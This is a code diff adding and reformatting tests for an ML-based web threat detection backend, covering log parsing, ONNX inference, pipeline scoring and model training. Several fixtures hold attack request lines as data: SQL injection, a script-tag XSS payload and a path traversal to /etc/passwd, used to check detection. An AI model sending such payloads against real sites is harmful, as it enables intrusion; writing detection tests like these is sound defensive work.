+    def test_predict_rf_probabilities_in_range(self, model_dir: Path) -> None:
+        """
+        RF malicious-class probabilities are within [0, 1].
+        """
+        engine = InferenceEngine(model_dir=str(model_dir))
+        rng = np.random.default_rng(99)
+        x = rng.standard_normal((4, 35)).astype(np.float32)
+        result = engine.predict(x)
+        assert result is not None
+        assert all(0.0 <= p <= 1.0 for p in result["rf"])
+
+    def test_predict_single_sample(self, model_dir: Path) -> None:
+        """
+        predict works on a single sample and returns one score per model.
+        """
+        engine = InferenceEngine(model_dir=str(model_dir))
+        rng = np.random.default_rng(99)
+        x = rng.standard_normal((1, 35)).astype(np.float32)
+        result = engine.predict(x)
+        assert result is not None
+        assert len(result["ae"]) == 1
+        assert len(result["rf"]) == 1
+        assert len(result["if"]) == 1
+
+    def test_threshold_loaded(self, model_dir: Path) -> None:
+        """
+        Autoencoder threshold is read from threshold.json on initialization.
+        """
+        engine = InferenceEngine(model_dir=str(model_dir))
+        assert engine.threshold == 0.05
+
+    def test_partial_models_not_loaded(self, tmp_path: Path) -> None:
+        """
+        Engine with only the AE model present reports is_loaded=False.
+        """
+        ae = ThreatAutoencoder(input_dim=35)
+        export_autoencoder(ae, tmp_path / "ae.onnx")
+        engine = InferenceEngine(model_dir=str(tmp_path))
+        assert not engine.is_loaded

PROJECTS/advanced/ai-threat-detection/backend/tests/test_integration.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_integration.py
+
+End-to-end tests covering the full path from log file write through tailer, pipeline, and database storage.
 """
 
 import asyncio
@@ -22,29 +24,22 @@ from app.core.ingestion.pipeline import Pipeline
 from app.core.ingestion.tailer import LogTailer
 from app.models.threat_event import ThreatEvent
 
-NORMAL_LINE = (
-    "192.168.1.100 - - [11/Feb/2026:10:00:00 +0000] "
-    '"GET /index.html HTTP/1.1" 200 4523 "-" '
-    '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
-)
+NORMAL_LINE = ("192.168.1.100 - - [11/Feb/2026:10:00:00 +0000] "
+               '"GET /index.html HTTP/1.1" 200 4523 "-" '
+               '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
 
-SQLI_LINE = (
-    "198.51.100.10 - - [11/Feb/2026:10:00:01 +0000] "
-    '"GET /search?q=1%27+OR+1=1-- HTTP/1.1" 200 5678 "-" '
-    '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
-)
+SQLI_LINE = ("198.51.100.10 - - [11/Feb/2026:10:00:01 +0000] "
+             '"GET /search?q=1%27+OR+1=1-- HTTP/1.1" 200 5678 "-" '
+             '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
 
 XSS_LINE = (
     "198.51.100.11 - - [11/Feb/2026:10:00:02 +0000] "
     '"GET /comment?text=<script>alert(1)</script> HTTP/1.1" 200 3210 "-" '
-    '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
-)
+    '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
 
-PATH_TRAVERSAL_LINE = (
-    "198.51.100.12 - - [11/Feb/2026:10:00:03 +0000] "
-    '"GET /../../etc/passwd HTTP/1.1" 400 230 "-" '
-    '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
-)
+PATH_TRAVERSAL_LINE = ("198.51.100.12 - - [11/Feb/2026:10:00:03 +0000] "
+                       '"GET /../../etc/passwd HTTP/1.1" 400 230 "-" '
+                       '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
 
 
 def _write_lines(log_path: str, *lines: str) -> None:
@@ -127,7 +122,8 @@ async def _poll_threat_count(
     for _ in range(int(timeout / 0.1)):
         await asyncio.sleep(0.1)
         async with session_factory() as session:
-            result = await session.execute(select(func.count()).select_from(ThreatEvent))
+            result = await session.execute(
+                select(func.count()).select_from(ThreatEvent))
             count = result.scalar_one()
             if count >= expected:
                 return count
@@ -163,15 +159,15 @@ async def test_only_medium_plus_stored(integration_env) -> None:
     lines = [
         f"192.168.1.{i + 1} - - [11/Feb/2026:10:00:0{i} +0000] "
         f'"GET /page/{i} HTTP/1.1" 200 1234 "-" '
-        f'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
-        for i in range(5)
+        f'"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"' for i in range(5)
     ]
     _write_lines(env["log_path"], *lines)
 
     await asyncio.sleep(2.0)
 
     async with env["session_factory"]() as session:
-        result = await session.execute(select(func.count()).select_from(ThreatEvent))
+        result = await session.execute(
+            select(func.count()).select_from(ThreatEvent))
         count = result.scalar_one()
 
     assert count == 0

PROJECTS/advanced/ai-threat-detection/backend/tests/test_metadata.py

@@ -0,0 +1,226 @@
+"""
+©AngelaMos | 2026
+test_metadata.py
+"""
+
+import json
+from pathlib import Path
+
+import pytest
+from sqlalchemy.ext.asyncio import (
+    AsyncSession,
+    async_sessionmaker,
+    create_async_engine,
+)
+from sqlalchemy.pool import StaticPool
+from sqlalchemy import select
+from sqlmodel import SQLModel
+
+from app.models.model_metadata import ModelMetadata
+from ml.metadata import compute_model_version, save_model_metadata
+
+
+@pytest.fixture
+async def db_session(tmp_path: Path):
+    """
+    In-memory SQLite session for metadata tests
+    """
+    from app.models import model_metadata as _reg  # noqa: F401
+
+    engine = create_async_engine(
+        "sqlite+aiosqlite://",
+        connect_args={"check_same_thread": False},
+        poolclass=StaticPool,
+    )
+    async with engine.begin() as conn:
+        await conn.run_sync(SQLModel.metadata.create_all)
+
+    factory = async_sessionmaker(engine,
+                                 class_=AsyncSession,
+                                 expire_on_commit=False)
+    async with factory() as session:
+        yield session
+
+    await engine.dispose()
+
+
+@pytest.fixture
+def model_artifacts(tmp_path: Path) -> Path:
+    """
+    Create fake ONNX model files for version hashing
+    """
+    (tmp_path / "ae.onnx").write_bytes(b"ae-model-data-123")
+    (tmp_path / "rf.onnx").write_bytes(b"rf-model-data-456")
+    (tmp_path / "if.onnx").write_bytes(b"if-model-data-789")
+    (tmp_path / "scaler.json").write_text(
+        json.dumps({
+            "center": [0.0],
+            "scale": [1.0]
+        }))
+    (tmp_path / "threshold.json").write_text(json.dumps({"threshold": 0.05}))
+    return tmp_path
+
+
+class TestComputeModelVersion:
+    """
+    Test SHA-256 based model version hashing
+    """
+
+    def test_returns_12_char_hex(self, model_artifacts: Path) -> None:
+        """
+        Version string is a 12-character hex digest
+        """
+        version = compute_model_version(model_artifacts / "ae.onnx")
+
+        assert len(version) == 12
+        assert all(c in "0123456789abcdef" for c in version)
+
+    def test_same_file_same_version(self, model_artifacts: Path) -> None:
+        """
+        Same file produces the same version string
+        """
+        v1 = compute_model_version(model_artifacts / "ae.onnx")
+        v2 = compute_model_version(model_artifacts / "ae.onnx")
+
+        assert v1 == v2
+
+    def test_different_files_different_versions(self,
+                                                model_artifacts: Path) -> None:
+        """
+        Different files produce different version strings
+        """
+        v_ae = compute_model_version(model_artifacts / "ae.onnx")
+        v_rf = compute_model_version(model_artifacts / "rf.onnx")
+
+        assert v_ae != v_rf
+
+
+class TestSaveModelMetadata:
+    """
+    Test model metadata persistence to database
+    """
+
+    @pytest.mark.asyncio
+    async def test_creates_three_rows(
+        self,
+        db_session: AsyncSession,
+        model_artifacts: Path,
+    ) -> None:
+        """
+        save_model_metadata creates one row per model type
+        """
+        rows = await save_model_metadata(
+            db_session,
+            model_dir=model_artifacts,
+            training_samples=500,
+            metrics={
+                "f1": 0.9,
+                "pr_auc": 0.88
+            },
+        )
+
+        assert len(rows) == 3
+
+    @pytest.mark.asyncio
+    async def test_all_rows_active(
+        self,
+        db_session: AsyncSession,
+        model_artifacts: Path,
+    ) -> None:
+        """
+        All newly saved models are marked as active
+        """
+        rows = await save_model_metadata(
+            db_session,
+            model_dir=model_artifacts,
+            training_samples=500,
+            metrics={"f1": 0.9},
+        )
+
+        assert all(r.is_active for r in rows)
+
+    @pytest.mark.asyncio
+    async def test_model_types_correct(
+        self,
+        db_session: AsyncSession,
+        model_artifacts: Path,
+    ) -> None:
+        """
+        Row model types are autoencoder, random_forest, isolation_forest
+        """
+        rows = await save_model_metadata(
+            db_session,
+            model_dir=model_artifacts,
+            training_samples=500,
+            metrics={},
+        )
+        types = {r.model_type for r in rows}
+
+        assert types == {
+            "autoencoder",
+            "random_forest",
+            "isolation_forest",
+        }
+
+    @pytest.mark.asyncio
+    async def test_previous_active_replaced(
+        self,
+        db_session: AsyncSession,
+        model_artifacts: Path,
+    ) -> None:
+        """
+        Saving new metadata replaces previous active models
+        """
+        await save_model_metadata(
+            db_session,
+            model_dir=model_artifacts,
+            training_samples=500,
+            metrics={"f1": 0.9},
+        )
+
+        (model_artifacts / "ae.onnx").write_bytes(b"new-ae-data")
+        await save_model_metadata(
+            db_session,
+            model_dir=model_artifacts,
+            training_samples=600,
+            metrics={"f1": 0.95},
+        )
+
+        result = await db_session.execute(select(ModelMetadata))
+        all_rows = result.scalars().all()
+        active_rows = [r for r in all_rows if r.is_active]
+
+        assert len(active_rows) == 3
+        assert all(r.training_samples == 600 for r in active_rows)
+
+    @pytest.mark.asyncio
+    async def test_previous_inactive_rows_preserved(
+        self,
+        db_session: AsyncSession,
+        model_artifacts: Path,
+    ) -> None:
+        """
+        Old model rows are deactivated, not deleted, after a new save
+        """
+        await save_model_metadata(
+            db_session,
+            model_dir=model_artifacts,
+            training_samples=500,
+            metrics={"f1": 0.9},
+        )
+
+        (model_artifacts / "ae.onnx").write_bytes(b"new-ae-data")
+        await save_model_metadata(
+            db_session,
+            model_dir=model_artifacts,
+            training_samples=600,
+            metrics={"f1": 0.95},
+        )
+
+        result = await db_session.execute(select(ModelMetadata))
+        all_rows = result.scalars().all()
+        inactive = [r for r in all_rows if not r.is_active]
+
+        assert len(all_rows) == 6
+        assert len(inactive) == 3
+        assert all(r.training_samples == 500 for r in inactive)

PROJECTS/advanced/ai-threat-detection/backend/tests/test_ml_integration.py

@@ -0,0 +1,179 @@
+"""
+©AngelaMos | 2026
+test_ml_integration.py
+"""
+
+import json
+from pathlib import Path
+
+import fakeredis.aioredis
+import numpy as np
+import pytest
+from sklearn.ensemble import (
+    IsolationForest,
+    RandomForestClassifier,
+)
+
+from app.core.detection.inference import InferenceEngine
+from app.core.detection.rules import RuleEngine
+from app.core.ingestion.pipeline import (
+    Pipeline,
+    ScoredRequest,
+)
+from ml.autoencoder import ThreatAutoencoder
+from ml.export_onnx import (
+    export_autoencoder,
+    export_isolation_forest,
+    export_random_forest,
+)
+from ml.scaler import FeatureScaler
+
+VALID_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
+              '"GET /api/v1/users HTTP/1.1" 200 1234 '
+              '"https://example.com" '
+              '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
+
+SQLI_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
+             '"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
+             '"-" "Mozilla/5.0"')
+
+
+@pytest.fixture
+def trained_model_dir(tmp_path: Path) -> Path:
+    """
+    Create a temp directory with trained ONNX models,
+    scaler, and threshold
+    """
+    rng = np.random.default_rng(42)
+    X = rng.standard_normal((200, 35)).astype(np.float32)
+    y = np.concatenate([np.zeros(140, dtype=int), np.ones(60, dtype=int)])
+
+    ae = ThreatAutoencoder(input_dim=35)
+    export_autoencoder(ae, tmp_path / "ae.onnx")
+
+    rf = RandomForestClassifier(n_estimators=10, random_state=42)
+    rf.fit(X, y)
+    export_random_forest(rf, 35, tmp_path / "rf.onnx")
+
+    iso = IsolationForest(n_estimators=10, random_state=42)
+    iso.fit(X[:140])
+    export_isolation_forest(iso, 35, tmp_path / "if.onnx")
+
+    scaler = FeatureScaler()
+    scaler.fit(X[:140])
+    scaler.save_json(tmp_path / "scaler.json")
+
+    threshold_data = {"threshold": 0.05}
+    (tmp_path / "threshold.json").write_text(json.dumps(threshold_data))
+
+    return tmp_path
+
+
+async def _make_pipeline_with_ml(
+    results: list[ScoredRequest],
+    model_dir: Path,
+) -> Pipeline:
+    """
+    Build a Pipeline with ML inference engine wired in
+    """
+    redis = fakeredis.aioredis.FakeRedis(decode_responses=True)
+    engine = InferenceEngine(model_dir=str(model_dir))
+
+    async def collect(sr: ScoredRequest) -> None:
+        results.append(sr)
+
+    pipeline = Pipeline(
+        redis_client=redis,
+        rule_engine=RuleEngine(),
+        on_result=collect,
+        inference_engine=engine,
+    )
+    await pipeline.start()
+    return pipeline
+
+
+async def _make_pipeline_rules_only(
+    results: list[ScoredRequest], ) -> Pipeline:
+    """
+    Build a Pipeline without ML inference engine
+    """
+    redis = fakeredis.aioredis.FakeRedis(decode_responses=True)
+
+    async def collect(sr: ScoredRequest) -> None:
+        results.append(sr)
+
+    pipeline = Pipeline(
+        redis_client=redis,
+        rule_engine=RuleEngine(),
+        on_result=collect,
+    )
+    await pipeline.start()
+    return pipeline
+
+
+class TestMLIntegration:
+
+    @pytest.mark.asyncio
+    async def test_pipeline_with_ml_sets_hybrid_mode(
+            self, trained_model_dir: Path) -> None:
+        results: list[ScoredRequest] = []
+        pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
+
+        await pipeline.raw_queue.put(VALID_LINE)
+        await pipeline.stop()
+
+        assert len(results) == 1
+        assert results[0].detection_mode == "hybrid"
+
+    @pytest.mark.asyncio
+    async def test_pipeline_with_ml_produces_final_score(
+            self, trained_model_dir: Path) -> None:
+        results: list[ScoredRequest] = []
+        pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
+
+        await pipeline.raw_queue.put(VALID_LINE)
+        await pipeline.stop()
+
+        assert len(results) == 1
+        assert results[0].final_score >= 0.0
+        assert results[0].final_score <= 1.0
+
+    @pytest.mark.asyncio
+    async def test_rules_only_uses_rule_score(self, ) -> None:
+        results: list[ScoredRequest] = []
+        pipeline = await _make_pipeline_rules_only(results)
+
+        await pipeline.raw_queue.put(VALID_LINE)
+        await pipeline.stop()
+
+        assert len(results) == 1
+        assert results[0].detection_mode == "rules"
+        assert results[0].final_score == results[0].rule_result.threat_score
+
+    @pytest.mark.asyncio
+    async def test_attack_scores_higher_than_benign(
+            self, trained_model_dir: Path) -> None:
+        results: list[ScoredRequest] = []
+        pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
+
+        await pipeline.raw_queue.put(VALID_LINE)
+        await pipeline.raw_queue.put(SQLI_LINE)
+        await pipeline.stop()
+
+        assert len(results) == 2
+        benign_score = results[0].final_score
+        attack_score = results[1].final_score
+        assert attack_score > benign_score
+
+    @pytest.mark.asyncio
+    async def test_rule_result_preserved_in_hybrid_mode(
+            self, trained_model_dir: Path) -> None:
+        results: list[ScoredRequest] = []
+        pipeline = await _make_pipeline_with_ml(results, trained_model_dir)
+
+        await pipeline.raw_queue.put(SQLI_LINE)
+        await pipeline.stop()
+
+        assert len(results) == 1
+        assert "SQL_INJECTION" in results[0].rule_result.matched_rules
+        assert results[0].rule_result.threat_score > 0

PROJECTS/advanced/ai-threat-detection/backend/tests/test_orchestrator.py

@@ -0,0 +1,133 @@
+"""
+©AngelaMos | 2026
+test_orchestrator.py
+"""
+
+import json
+from pathlib import Path
+
+import numpy as np
+
+from ml.orchestrator import TrainingOrchestrator, TrainingResult
+
+N_FEATURES = 35
+EXPECTED_FILES = [
+    "ae.onnx",
+    "rf.onnx",
+    "if.onnx",
+    "scaler.json",
+    "threshold.json",
+]
+
+
+def _make_dataset() -> tuple[np.ndarray, np.ndarray]:
+    """
+    Generate a small synthetic dataset for testing
+    """
+    rng = np.random.default_rng(42)
+    X_normal = rng.standard_normal((200, N_FEATURES)).astype(np.float32)
+    X_attack = (rng.standard_normal((80, N_FEATURES)).astype(np.float32) + 2.0)
+    X = np.vstack([X_normal, X_attack])
+    y = np.array([0] * 200 + [1] * 80, dtype=np.int32)
+    return X, y
+
+
+class TestTrainingOrchestrator:
+    """
+    Test the end-to-end training orchestrator
+    """
+
+    def test_produces_all_output_files(self, tmp_path: Path) -> None:
+        """
+        Orchestrator produces all 5 expected output files
+        """
+        X, y = _make_dataset()
+        orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
+        orch.run(X, y)
+
+        for filename in EXPECTED_FILES:
+            assert (tmp_path / filename).exists(), f"Missing {filename}"
+
+    def test_returns_training_result(self, tmp_path: Path) -> None:
+        """
+        Returns a TrainingResult dataclass
+        """
+        X, y = _make_dataset()
+        orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
+        result = orch.run(X, y)
+
+        assert isinstance(result, TrainingResult)
+
+    def test_scaler_json_has_required_keys(self, tmp_path: Path) -> None:
+        """
+        scaler.json contains center, scale, and n_features
+        """
+        X, y = _make_dataset()
+        orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
+        orch.run(X, y)
+
+        scaler_data = json.loads((tmp_path / "scaler.json").read_text())
+        assert "center" in scaler_data
+        assert "scale" in scaler_data
+        assert "n_features" in scaler_data
+
+    def test_threshold_json_has_float(self, tmp_path: Path) -> None:
+        """
+        threshold.json contains a float threshold value
+        """
+        X, y = _make_dataset()
+        orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
+        orch.run(X, y)
+
+        threshold_data = json.loads((tmp_path / "threshold.json").read_text())
+        assert "threshold" in threshold_data
+        assert isinstance(threshold_data["threshold"], float)
+
+    def test_result_has_per_model_metrics(self, tmp_path: Path) -> None:
+        """
+        TrainingResult includes metrics for each model
+        """
+        X, y = _make_dataset()
+        orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
+        result = orch.run(X, y)
+
+        assert "ae_threshold" in result.ae_metrics
+        assert "f1" in result.rf_metrics
+        assert "n_samples" in result.if_metrics
+
+    def test_ensemble_metrics_present(self, tmp_path: Path) -> None:
+        """
+        Ensemble validation metrics are populated
+        """
+        X, y = _make_dataset()
+        orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
+        result = orch.run(X, y)
+
+        assert result.ensemble_metrics is not None
+        assert 0.0 <= result.ensemble_metrics.f1 <= 1.0
+
+    def test_mlflow_run_id_set(self, tmp_path: Path) -> None:
+        """
+        MLflow run ID is captured in the result
+        """
+        X, y = _make_dataset()
+        mlflow_dir = tmp_path / "mlruns"
+        mlflow_dir.mkdir()
+        orch = TrainingOrchestrator(
+            output_dir=tmp_path / "models",
+            epochs=3,
+        )
+        result = orch.run(X, y)
+
+        assert result.mlflow_run_id is not None
+        assert len(result.mlflow_run_id) == 32
+
+    def test_passed_gates_is_bool(self, tmp_path: Path) -> None:
+        """
+        passed_gates is a boolean value
+        """
+        X, y = _make_dataset()
+        orch = TrainingOrchestrator(output_dir=tmp_path, epochs=3)
+        result = orch.run(X, y)
+
+        assert isinstance(result.passed_gates, bool)

PROJECTS/advanced/ai-threat-detection/backend/tests/test_parsers.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_parsers.py
+
+Tests nginx combined log line parsing via parse_combined.
 """
 
 from datetime import datetime, UTC
@@ -12,12 +14,10 @@ def test_parse_standard_combined_line() -> None:
     """
     Parse a standard nginx combined log line into all fields.
     """
-    line = (
-        "93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
-        '"GET /api/users?page=1 HTTP/1.1" 200 1234 '
-        '"https://example.com" '
-        '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
-    )
+    line = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
+            '"GET /api/users?page=1 HTTP/1.1" 200 1234 '
+            '"https://example.com" '
+            '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
     result = parse_combined(line)
 
     assert result is not None
@@ -52,10 +52,8 @@ def test_parse_missing_referer() -> None:
     """
     A dash referer is normalized to an empty string.
     """
-    line = (
-        "10.0.0.1 - - [11/Feb/2026:08:15:42 +0000] "
-        '"POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"'
-    )
+    line = ("10.0.0.1 - - [11/Feb/2026:08:15:42 +0000] "
+            '"POST /login HTTP/1.1" 302 0 "-" "Mozilla/5.0"')
     result = parse_combined(line)
 
     assert result is not None
@@ -71,8 +69,7 @@ def test_parse_complex_query_string() -> None:
     line = (
         "93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
         '"GET /search?q=hello+world&lang=en&page=2&sort=relevance HTTP/1.1" '
-        '200 5678 "https://example.com/search" "Mozilla/5.0"'
-    )
+        '200 5678 "https://example.com/search" "Mozilla/5.0"')
     result = parse_combined(line)
 
     assert result is not None
@@ -110,11 +107,9 @@ def test_parse_full_ipv6_address() -> None:
     """
     Parse a line with a full-length IPv6 address.
     """
-    line = (
-        "2001:0db8:85a3:0000:0000:8a2e:0370:7334 - - "
-        '[11/Feb/2026:14:30:00 +0000] "GET /api/v1/health HTTP/2.0" '
-        '200 256 "-" "python-httpx/0.28"'
-    )
+    line = ("2001:0db8:85a3:0000:0000:8a2e:0370:7334 - - "
+            '[11/Feb/2026:14:30:00 +0000] "GET /api/v1/health HTTP/2.0" '
+            '200 256 "-" "python-httpx/0.28"')
     result = parse_combined(line)
 
     assert result is not None

PROJECTS/advanced/ai-threat-detection/backend/tests/test_pipeline.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_pipeline.py
+
+Tests the async ingestion pipeline: parsing, feature extraction, rule scoring, and shutdown.
 """
 
 import fakeredis.aioredis
@@ -9,18 +11,14 @@ import pytest
 from app.core.detection.rules import RuleEngine
 from app.core.ingestion.pipeline import Pipeline, ScoredRequest
 
-VALID_LINE = (
-    "93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
-    '"GET /api/v1/users HTTP/1.1" 200 1234 '
-    '"https://example.com" '
-    '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"'
-)
+VALID_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:00 +0000] "
+              '"GET /api/v1/users HTTP/1.1" 200 1234 '
+              '"https://example.com" '
+              '"Mozilla/5.0 (Windows NT 10.0; Win64; x64)"')
 
-SQLI_LINE = (
-    "93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
-    '"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
-    '"-" "Mozilla/5.0"'
-)
+SQLI_LINE = ("93.184.216.34 - - [11/Feb/2026:14:30:01 +0000] "
+             '"GET /users?id=1%27OR%201=1-- HTTP/1.1" 200 512 '
+             '"-" "Mozilla/5.0"')
 
 
 async def _make_pipeline(

PROJECTS/advanced/ai-threat-detection/backend/tests/test_scaler.py

@@ -1,6 +1,8 @@
 """
 ©AngelaMos | 2026
 test_scaler.py
+
+Tests the FeatureScaler: fitting, transform correctness, JSON serialization, and round-trip loading.
 """
 
 import json
@@ -14,6 +16,9 @@ from ml.scaler import FeatureScaler
 
 @pytest.fixture
 def sample_data() -> np.ndarray:
+    """
+    Two-hundred samples of 35-dimensional random float32 data.
+    """
     rng = np.random.default_rng(42)
     return rng.standard_normal((200, 35)).astype(np.float32)
 
@@ -21,23 +26,36 @@ def sample_data() -> np.ndarray:
 class TestFeatureScaler:
 
     def test_fit_sets_n_features(self, sample_data: np.ndarray) -> None:
+        """
+        Fitting stores the number of input features.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         assert scaler.n_features == 35
 
     def test_transform_preserves_shape(self, sample_data: np.ndarray) -> None:
+        """
+        Transform output has the same shape as the input array.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         transformed = scaler.transform(sample_data)
         assert transformed.shape == sample_data.shape
 
     def test_transform_dtype_float32(self, sample_data: np.ndarray) -> None:
+        """
+        Transformed array dtype remains float32.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         transformed = scaler.transform(sample_data)
         assert transformed.dtype == np.float32
 
-    def test_transformed_median_near_zero(self, sample_data: np.ndarray) -> None:
+    def test_transformed_median_near_zero(self,
+                                          sample_data: np.ndarray) -> None:
+        """
+        Median of each feature column is approximately zero after scaling.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         transformed = scaler.transform(sample_data)
@@ -45,17 +63,21 @@ class TestFeatureScaler:
         assert np.allclose(medians, 0.0, atol=0.15)
 
     def test_inverse_transform_recovers_original(
-        self, sample_data: np.ndarray
-    ) -> None:
+            self, sample_data: np.ndarray) -> None:
+        """
+        Inverse transform recovers the original values within floating-point tolerance.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         transformed = scaler.transform(sample_data)
         recovered = scaler.inverse_transform(transformed)
         np.testing.assert_allclose(recovered, sample_data, atol=1e-5)
 
-    def test_save_json_creates_file(
-        self, sample_data: np.ndarray, tmp_path: Path
-    ) -> None:
+    def test_save_json_creates_file(self, sample_data: np.ndarray,
+                                    tmp_path: Path) -> None:
+        """
+        save_json writes a non-empty file to the given path.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         path = tmp_path / "scaler.json"
@@ -63,9 +85,11 @@ class TestFeatureScaler:
         assert path.exists()
         assert path.stat().st_size > 0
 
-    def test_save_json_is_valid_json(
-        self, sample_data: np.ndarray, tmp_path: Path
-    ) -> None:
+    def test_save_json_is_valid_json(self, sample_data: np.ndarray,
+                                     tmp_path: Path) -> None:
+        """
+        Saved JSON contains center, scale, and n_features keys.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         path = tmp_path / "scaler.json"
@@ -75,9 +99,11 @@ class TestFeatureScaler:
         assert "scale" in data
         assert "n_features" in data
 
-    def test_load_json_round_trip(
-        self, sample_data: np.ndarray, tmp_path: Path
-    ) -> None:
+    def test_load_json_round_trip(self, sample_data: np.ndarray,
+                                  tmp_path: Path) -> None:
+        """
+        Loading from JSON produces a scaler with identical transform output.
+        """
         scaler = FeatureScaler()
         scaler.fit(sample_data)
         path = tmp_path / "scaler.json"
@@ -91,11 +117,17 @@ class TestFeatureScaler:
         np.testing.assert_allclose(original_out, loaded_out, atol=1e-6)
 
     def test_transform_before_fit_raises(self) -> None:
+        """
+        Calling transform before fit raises RuntimeError.
+        """
         scaler = FeatureScaler()
         with pytest.raises(RuntimeError):
             scaler.transform(np.zeros((5, 35), dtype=np.float32))
 
     def test_fit_transform_convenience(self, sample_data: np.ndarray) -> None:
+        """
+        fit_transform fits and transforms in one call.
+        """
         scaler = FeatureScaler()
         result = scaler.fit_transform(sample_data)
         assert result.shape == sample_data.shape

PROJECTS/advanced/ai-threat-detection/backend/tests/test_splitting.py

@@ -0,0 +1,152 @@
+"""
+©AngelaMos | 2026
+test_splitting.py
+"""
+
+import numpy as np
+import pytest
+
+from ml.splitting import TrainingSplit, prepare_training_data
+
+N_NORMAL = 160
+N_ATTACK = 40
+N_FEATURES = 35
+TOTAL = N_NORMAL + N_ATTACK
+
+
+def _make_dataset(
+    n_normal: int = N_NORMAL,
+    n_attack: int = N_ATTACK,
+    n_features: int = N_FEATURES,
+) -> tuple[np.ndarray, np.ndarray]:
+    """
+    Generate synthetic imbalanced dataset
+    """
+    rng = np.random.default_rng(42)
+    X = rng.standard_normal(
+        (n_normal + n_attack, n_features)).astype(np.float32)
+    y = np.array(
+        [0] * n_normal + [1] * n_attack,
+        dtype=np.int32,
+    )
+    return X, y
+
+
+class TestPrepareTrainingData:
+    """
+    Tests for stratified splitting with SMOTE
+    """
+
+    def test_returns_training_split(self) -> None:
+        """
+        Returns a TrainingSplit dataclass
+        """
+        X, y = _make_dataset()
+        result = prepare_training_data(X, y)
+        assert isinstance(result, TrainingSplit)
+
+    def test_split_proportions(self) -> None:
+        """
+        Validates 70/15/15 split proportions
+        """
+        X, y = _make_dataset()
+        result = prepare_training_data(X, y)
+        expected_val = int(TOTAL * 0.15)
+        expected_test = int(TOTAL * 0.15)
+        tolerance = int(TOTAL * 0.05)
+        assert abs(result.X_val.shape[0] - expected_val) <= tolerance
+        assert abs(result.X_test.shape[0] - expected_test) <= tolerance
+
+    def test_stratified_class_distribution(self, ) -> None:
+        """
+        Splits preserve the original class ratio
+        """
+        X, y = _make_dataset()
+        original_ratio = np.mean(y == 1)
+        result = prepare_training_data(X, y)
+        val_ratio = np.mean(result.y_val == 1)
+        test_ratio = np.mean(result.y_test == 1)
+        ratio_tol = 0.10
+        assert abs(val_ratio - original_ratio) < ratio_tol
+        assert abs(test_ratio - original_ratio) < ratio_tol
+
+    def test_smote_increases_minority(self) -> None:
+        """
+        SMOTE brings minority ratio near strategy
+        """
+        X, y = _make_dataset()
+        result = prepare_training_data(
+            X,
+            y,
+            smote_strategy=0.3,
+        )
+        minority = np.sum(result.y_train == 1)
+        majority = np.sum(result.y_train == 0)
+        ratio = minority / majority
+        assert ratio >= 0.25
+
+    def test_val_test_untouched(self) -> None:
+        """
+        Val test sizes match pre-SMOTE counts
+        """
+        X, y = _make_dataset()
+        result = prepare_training_data(X, y)
+        remainder = TOTAL - int(TOTAL * 0.70)
+        half = remainder // 2
+        tol = 3
+        assert abs(result.X_val.shape[0] - half) <= tol
+        assert abs(result.X_test.shape[0] - half) <= tol
+        assert (result.X_val.shape[0] == result.y_val.shape[0])
+        assert (result.X_test.shape[0] == result.y_test.shape[0])
+
+    def test_x_normal_train_only_normals(self, ) -> None:
+        """
+        X_normal_train has only class-0 rows
+        """
+        X, y = _make_dataset()
+        result = prepare_training_data(X, y)
+        expected = int(N_NORMAL * 0.70)
+        tol = int(TOTAL * 0.05)
+        assert abs(result.X_normal_train.shape[0] - expected) <= tol
+        assert (result.X_normal_train.shape[1] == N_FEATURES)
+
+    def test_small_dataset_works(self) -> None:
+        """
+        Small 50-sample dataset succeeds
+        """
+        X, y = _make_dataset(
+            n_normal=40,
+            n_attack=10,
+            n_features=N_FEATURES,
+        )
+        result = prepare_training_data(X, y, smote_k=3)
+        assert isinstance(result, TrainingSplit)
+        assert result.X_train.shape[0] > 0
+        assert result.X_val.shape[0] > 0
+        assert result.X_test.shape[0] > 0
+
+    def test_all_one_class_raises_value_error(self, ) -> None:
+        """
